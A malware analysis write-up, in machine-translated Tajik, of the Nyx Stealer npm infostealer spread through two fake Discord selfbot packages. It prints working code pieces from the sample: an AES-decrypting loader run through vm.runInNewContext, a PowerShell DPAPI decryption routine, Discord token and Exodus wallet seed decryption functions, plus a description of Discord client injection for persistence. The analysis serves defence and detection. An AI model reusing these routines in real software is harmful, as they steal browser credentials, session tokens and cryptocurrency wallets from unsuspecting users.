ХИБ; DR
Гурӯҳи тадқиқоти амниятии Xygeni як маъракаи мураккаби дуздии иттилоотии npm-ро муайян кард, ки тавассути ду бастаи зараровар интиқол дода мешавад: тасаллофӣ ва худбот-лофӣ.
Нусхаи охирин (consolelofy@1.3.0) як боркунии пуриқтидори рамзгузоришудаи AES-и 216KB-ро ҷойгир мекунад, ки дар вақти иҷро рамзкушоӣ мекунад ва тавассути он иҷро мешавад vm.runInNewContext()Азбаски мантиқи зараровар пурра рамзгузорӣ шудааст, сканерҳои статикӣ, ки ба санҷиши сатрҳо такя мекунанд, наметавонанд рафтори онро то вақти иҷро мушоҳида кунанд.
Пас аз рамзкушоӣ, бори фоидаовар, дар дохили он бренд карда мешавад Дуздии Nyx, ҳадафҳо:
- Токенҳои аутентификатсияи Discord
- Зиёда аз 50 мағозаи эътимодномаи браузер
- Зиёда аз 90 васеъкунии ҳамёни криптовалюта
- Ҷаласаҳои Roblox, Instagram, Spotify, Steam, Telegram ва TikTok
- Устувории муштарии мизи кории Discord
Ҳамаи 20 версия дар ҳарду баста зараровар будани онҳо гузориш дода ва тасдиқ карда шуданд.
Шарҳи техникии ин Infostealer npm
Бар хилофи нармафзори зараровари анъанавии насбкунӣ, ин маърака ба а такя мекунад runtime модели рамзкушоӣ.
Ҳастанд:
- Бе зараровар
preinstallorpostinstallhooks - Ҳеҷ гуна зангҳои шабакавии возеҳ дар вақти насб вуҷуд надоранд
- Мантиқи ҷамъоварии эътимодномаи матни оддӣ вуҷуд надорад
Ҳангоми ворид кардани модул, ин модул фаъол мешавад. Тамоми ҷисми зараровар рамзгузорӣ шудааст ва танҳо дар вақти иҷро дар хотира пайдо мешавад.
Ин тарҳ махсусан аз ошкоркунӣ ҳангоми насби бастаҳо пешгирӣ мекунад.
Чӣ тавр ин npm Infostealer дар асл иҷро мешавад
Пеш аз таҳлили он чизе, ки Nyx Stealer дуздӣ мекунад, мо бояд фаҳмем чӣ гуна иҷро мешавад.
Мантиқи зараровар дар дохили ин дуздии иттилоотии npm як намунаи пайвастаро пайгирӣ мекунад:
Як боркунаки хурд як бори калони рамзгузоришударо рамзкушоӣ мекунад ва онро ба таври динамикӣ дар дохили контексти виртуалии Node.js иҷро мекунад.
Ин тарҳ қасдан сохта шудааст. Ҳамлагар функсияҳоро танҳо дар паси нофаҳмӣ пинҳон намекунад, онҳо ҳастанд пурра аз байн бурдани рамзи зараровар аз намоёнии статикӣ.
Модели иҷрои сатҳи баланд
Дар сатҳи баланд, печонанда чор корро иҷро мекунад:
- Калиди AES-ро аз пароли сахт рамзгузоришуда бо истифода аз SHA-256 мегирад
- Рамзгузории матни калони рамзгузоришударо бо истифода аз AES-256-CBC кушода мекунад
- JavaScript-и рамзкушодашударо бо истифода аз он иҷро мекунад
vm.runInNewContext() - Қуттии регро фароҳам меорад, ки то ҳол примитивҳои пуриқтидори иҷрошавандаро фош мекунад
Хулосаи техникаи асосӣ
| қисмати | Танзимот / Арзиш |
|---|---|
| Алгоритм | AES-256-CBC |
| Баромади калидӣ | SHA-256 (гузарвожа) |
| Вектори ибтидоӣ (IV) | 16 байт аз 0x00 |
| Иҷро | vm.runInNewContext(рамзкушодашуда, қуттии рег) |
Муҳимтар аз ҳама, қуттии рег аз инҳо мегузарад:
requireprocessBuffer- таймерҳо
- содироти модул
Ин маънои онро дорад, ки бори кушодашуда қобилияти пурраи худро барои инҳо нигоҳ медорад:
- Равандҳои тухмгузорӣ
- Файлҳоро хонед ва нависед
- Зангҳои шабакавӣ кунед
- Тағйир додани барномаҳои маҳаллӣ
Ин як VM-и маҳдуд нест. Ин як VM аст, ки ҳамчун трамплини иҷро истифода мешавад.
Намунаи рамзгузории вақти иҷро (Механизми иҷрои аслӣ)
Пуркунанда хурд аст.
Ҷисми бадхоҳ чунин нест.
Дар зер намунаи иҷро дар дохили баста оварда шудааст:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Чаро ин муҳим аст
Бори кушодашуда:
- Оё не дар дохили бастаи npm дар матни оддӣ мавҷуд аст
- Барои содда ноаён аст
grepё сканкунии сатри статикӣ - Танҳо дар вақти иҷро дар хотира инъикос меёбад
- Бо имконоти пурраи иҷрои Node иҷро мекунад
Ин комбинатсияи иҷрои AES + VM нишондиҳандаи қавии рафтории як аст дузди иттилоотии npm кӯшиш мекунад, ки аз санҷиши статикӣ канорагирӣ кунад.
Ба ибораи дигар:
Агар шумо дарахти манбаи бастаро скан кунед, шумо дуздро намебинед.
Шумо рамзкушоро мебинед.
Пас аз рамзкушоӣ чӣ мешавад
Пас аз иҷро, Nyx Stealer мавҷҳои мувозии ҷамъоварии маълумотро оғоз мекунад.
Мавҷи 1: Истихроҷи эътимодномаи браузер
Нармафзори зараровар:
- Боргирии вақти кории Python аз NuGet CDN
- Китобхонаҳои криптографиро насб мекунад
- Истихроҷҳо аз мағозаҳои эътимоднома дар асоси Chromium
- Сирри муҳофизаткардашудаи DPAPI-ро рамзкушоӣ мекунад
Ба ҷои тартиб додани пайвандҳои маҳаллӣ, он аз PowerShell барои занг задан ба Windows DPAPI мустақиман истифода мебарад.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ин равиш:
- Аз артефактҳои тартибдиҳӣ худдорӣ мекунад
- API-ҳои криптографии Windows-и маҳаллиро истифода мебарад
- Ба абзорҳои маъмурӣ омехта мешавад
Ин рамзкушоии эътимоднома дар сатҳи OS аст, на нусхабардорӣ.
Мавҷи 2: Рамзкушоии токенҳои Discord
Дузд аз протокол огоҳ аст. Он формати рамзгузоришудаи токени Discord-ро мефаҳмад.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Ҷараёни амалиётӣ:
- Калиди асосӣ аз Discord-ро хориҷ кунед
Local State - Рамзкушоии калиди асосӣ тавассути DPAPI
- Рамзкушоӣ кардани блокҳои токенҳои AES-GCM
- Тасдиқи токенҳо бар зидди Discord API
- Бо Nitro, нишонаҳо ва маълумоти ҳисоббаробаркунӣ ғанӣ гардонед
Ин демпинги умумии эътимоднома нест. Ин дуздии сеанси огоҳ аз протокол аст.
Мавҷи 3: Ҳадафгирии ҳамёни криптовалюта
Инфостилери npm инҳоро номбар мекунад:
- Зиёда аз 90 васеъкунии ҳамёни браузер
- 27 ҳамёнҳои мизи корӣ
- Роҳҳои ҳамёни сард
- Файлҳои тухмии Exodus
Намунаи кӯшиши рамзкушоии тухмӣ:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Агар муваффақ шавад, созиш бо ҳамён фавран ва бебозгашт аст.
Ин вектори пулкоркунии баландтарин арзиши маъракаро ифода мекунад.
Устуворӣ тавассути тазриқи мизи кории Discord
Пас аз ҷамъоварии эътимодномаҳо, Nyx Stealer кӯшиш мекунад, ки бо тағир додани маҳалли худ устувор бошад. Беимкон мизоҷ.
Ҳадаф:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js пайдарпаии амалиёт
Дастгоҳи иттилоотӣ қадамҳои зеринро иҷро мекунад:
- Равандҳои иҷрошавандаи Discord-ро қатъ мекунад
- Вариантҳои насбшудаи Discord-ро пайдо мекунад (Stable, Canary, PTB)
- Аз нав менависад
discord_desktop_core/index.js - Мантиқи вебҳуки аз ҷониби ҳамлагар идорашавандаро ворид мекунад
- Discord-ро аз нав оғоз мекунад
Ин кафолат медиҳад, ки ҷаласаҳои ояндаи Discord ба таври худкор токенҳои нави аутентификатсияро ихроҷ мекунанд.
Муҳим он аст, ки ин устуворӣ ба вазифаҳои ба нақша гирифташуда ё тағиротҳои реестр такя намекунад. Он аз тағир додани код дар сатҳи барнома, як равиши пинҳонтар, истифода мебарад.
Ҳатто агар бастаи зараровари npm баъдтар нест карда шавад ҳам, муштарии Discord зери хатар боқӣ мемонад.
Муқоисаи техникӣ: Legitimate Selfbot ва npm Infostealer
| қисмати | Китобхонаи қонунӣ | Nyx npm Infostealer |
|---|---|---|
| Encryption | Ҳеҷ | Бори пурраи рамзгузоришудаи AES |
| Виртуалии виртуалии вақти иҷро | Талаб карда намешавад | vm.runInNewContext иҷрои |
| Дастрасии эътимоднома | Танҳо API-и Discord | Браузер, ҳамёнҳо, DPAPI |
| Боргириҳои беруна | Не | Вақти иҷрои Python тавассути NuGet |
| Persistence | Не | Тазриқи муштарии Discord |
| Маблағгузорӣ | Автоматикунонии ботҳо | Фурӯши дубораи эътимоднома |
Танҳо қабати рамзгузорӣ ин маъракаро аз як чангаки маъмулии кушодаасос ҷудо мекунад.
Як худботи қонунии Discord ҳеҷ сабабе надорад, ки тамоми пойгоҳи рамзии худро рамзгузорӣ кунад, PowerShell-ро барои дастрасӣ ба DPAPI фаъол созад, вақти иҷрои берунаро зеркашӣ кунад ё барномаҳои дохилии мизи кориро тағир диҳад. Вақте ки ин қобилиятҳо дар дохили вобастагӣ, ки иддао дорад, ки муоширати Discord-ро автоматӣ мекунад, пайдо мешаванд, номувофиқати меъморӣ нодида гирифтан ғайриимкон мегардад.
Аз нуқтаи назари таҳқиқот, ин npm инфодуз дар қабатҳои гуногун осор мегузорад. Аммо, нишондиҳандаҳои боэътимодтарин URL-ҳои сахт рамзгузорӣшуда ё роҳҳои мушаххаси файл нестанд, зеро онҳо метавонанд байни версияҳо тағйир ёбанд. Ба ҷои ин, сигналҳои пойдор сохторӣ мебошанд.
Дар сатҳи бастаҳо, қавитарин парчами сурх омезиши як бори калони рамзгузоришуда ва печонидани рамзкушоии вақти иҷро мебошад, ки фавран тавассути ... иҷро мешавад. vm.runInNewContext()Гарчанде ки танҳо рамзгузорӣ худ аз худ зараровар нест, истифодаи рамзкушоии AES ва пас аз иҷрои динамикии VM дар дохили бастаи утилитаи Discord хеле ғайриоддӣ аст.
Дар сатҳи мизбон, намунаҳои шубҳанок фаъолияти ғайричашмдошти рамзкушоии DPAPI, пайдоиши равандҳо аз контексти вобастагии Node.js ва тағир додани файлҳои барномаҳои маҳаллиро дар бар мегиранд, ки ҳеҷ гоҳ набояд аз ҷониби китобхонаҳои тарафи сеюм тағйир дода шаванд. Ба ҳамин монанд, дар сатҳи шабака, муоширати берунаи услуби вебҳук, ки аз ҷониби вобастагии рушд оғоз шудааст, як аномалияи дигари пурмазмунро ифода мекунад.
Ба ибораи дигар, сатҳи ошкоркунӣ нишондиҳандаи ягонаи осеб нест. Ин ҳамбастагии рамзгузорӣ, иҷрои вақти иҷро, дастрасӣ ба эътимоднома ва рафтори пойдорӣ аст, ки таҳдидро ошкор мекунад.
Ошкоркунӣ ва кам кардани хатар бо истифода аз Xygeni
Ин дузди иттилоотии npm аз ҷониби муайян карда шудааст Огоҳии барвақтии нармафзори зараровари Xygeni (MEW) тавассути ҳамбастагии рафтории қабатӣ ба ҷои мувофиқати оддии имзо.
Ба ҷои ҷустуҷӯи сатрҳои зараровари маълум, MEW аномалияҳои сохториро дар тамоми дарахти сарчашма арзёбӣ мекунад. Дар ин ҳолат, ошкоркунӣ аз ҳамгироии якчанд сигналҳо ба вуҷуд омадааст: як тартиби рамзкушоии AES дар нуқтаи вуруди модул, иҷрои фаврӣ дар дохили контексти VM ва номувофиқати возеҳи қобилият ба мақсад.
Муҳим он аст, ки ҳеҷ яке аз ин сигналҳо танҳо нияти бадхоҳонаро исбот намекунанд. Аммо, ҳангоми таҳлили якҷоя, онҳо кӯшиши пинҳон кардани рафтори вақти иҷроро фош мекунанд. Ин равиши қабатӣ мусбатҳои бардурӯғро ба таври назаррас коҳиш медиҳад ва ҳамзамон таҳдидҳои занҷираи таъминоти боэътимоди баландро муайян мекунад.
Ғайр аз ин, ин ҳолат нишон медиҳад, ки чаро танҳо санҷиши вақти насб нокифоя аст. Мантиқи зараровар дар скриптҳои давраи ҳаёт мавҷуд нест. Он танҳо пас аз бор кардани модул фаъол мешавад ва танҳо пас аз рамзкушоӣ дар хотира намоён мешавад. Аз ин рӯ, мудофиаи муассир таҳлили огоҳона бо рамзгузорӣ, шинохти намунаҳои рафтор ва назорати пайвастаи вобастагиро берун аз рӯйдодҳои насб талаб мекунад.
Нест кардани регистр реактивӣ аст. Таҳлили огоҳона дар вақти иҷро пешгирикунанда аст.
Чаро ин npm Infostealer муҳим аст
Nyx Stealer як таҳаввулоти сохториро дар нармафзори зараровар дар асоси npm ифода мекунад.
Аз нигоҳи таърихӣ, бисёр бастаҳои зараровар ба скриптҳои намоёни вақти насб ё нуқтаҳои ниҳоии возеҳи хориҷ кардани маълумоти эътимоднома такя мекарданд. Баръакс, ин маърака бори фоиданоки худро рамзгузорӣ мекунад, иҷрои онро ба вақти иҷро таъхир медиҳад, аз API-ҳои қонунии системаи амалиётӣ истифода мебарад ва дар дохили барномаҳои боэътимод устуворӣ барқарор мекунад.
Бинобар ин, ҳамлагар набояд худаш аз инфрасохтори npm истифода барад. Ба ҷои ин, ҳамла муваффақ мешавад, зеро насби вобастагӣ эътимодро дар назар дорад. Таҳиягарон фикр мекунанд, ки ворид кардани китобхона як амалиёти бехатар аст, хусусан вақте ки он худро ҳамчун як форки эҳтимолии як абзори маъмул муаррифӣ мекунад.
Ҳангоме ки экосистемаҳо рушд мекунанд ва форкҳо зиёд мешаванд, ин сарҳади боварии пинҳонӣ ба сатҳи ҳамлаи ҷолибтар табдил меёбад. Аз ин рӯ, муҳофизат аз дуздони иттилоотии муосири npm ба ҷои ҷустуҷӯи сатрҳои статикӣ, эътироф кардани нақшҳои меъмориро талаб мекунад.
Дар ниҳоят, ин маърака як дарси муҳимро тақвият медиҳад software supply chain securityХатарноктарин таҳдидҳо онҳое нестанд, ки дар назари аввал зараровар ба назар мерасанд, балки таҳдидҳое мебошанд, ки аз ҷиҳати сохторӣ қонунӣ ба назар мерасанд, то он даме, ки вақти иҷро рафтори воқеии онҳоро ошкор накунад.




